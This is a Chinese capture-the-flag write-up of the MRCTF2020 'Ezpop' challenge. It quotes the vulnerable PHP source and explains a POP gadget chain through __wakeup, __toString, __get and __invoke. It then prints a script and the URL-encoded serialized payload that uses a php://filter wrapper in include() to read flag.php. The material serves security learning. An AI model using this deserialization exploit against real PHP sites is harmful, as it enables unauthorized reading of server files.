第六十一题——[MRCTF2020]Ezpop

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,显示出源码

Welcome to index.php

//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
     
    protected  $var;
    public function append($value){
     
        include($value);
    }
    public function __invoke(){
     
        $this->append($this->var);
    }
}

class Show{
     
    public $source;
    public $str;
    public function __construct($file='index.php'){
     
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"
; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }

第二步:代码分析

  1. 需要我们提交pop参数进行反序列化
  2. Modifier类里面有个__invoke函数,当Modifier类的对象被当作函数执行时触发__invoke函数。
  3. Show类里面有三个函数,其中__construct函数在创建Show对象时调用;__toString函数在Show对象被当作字符串执行时触发;__wakeup函数在被反序列化时出发
  4. Test类里面的__get函数在调用Test类里未被初始化或不存在的成员时触发。

第三步:构建漏洞

  1. Modifier类中append函数执行了include函数,可以通过include函数执行filter,获取到flag.php
  2. Test类中__get函数返回是,将参数function当成了函数function()执行,让Test类中p=Modifier,可以触发Modifier类的__invoke函数
  3. Show类中__toString函数调用了str成员的source成员,而str成员是个变量而Test类中不存在source成员变量,可以让Show类中str=Test,从而触发Test类的__get函数
  4. Show类中__wakeup()函数让Show类的成员变量source当成字符串执行,参数正则匹配,可以让Show类中source=Show,从而触发__toString函数

第四步:获取flag

  1. 构建序列化字符串:

class Modifier {
     
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
     
    public $source;
    public $str;
	public function __construct($file){
     
    $this->source = $file;
    }
    public function __toString(){
     
        return "karsa";
    }
}

class Test{
     
    public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

结果:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
2. 提交pop参数:?pop=O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3Bs%3A3%3A"aaa"%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A3%3A"str"%3BN%3B%7D
在这里插入图片描述

  1. 使用base64解码
    第六十一题——[MRCTF2020]Ezpop_第1张图片

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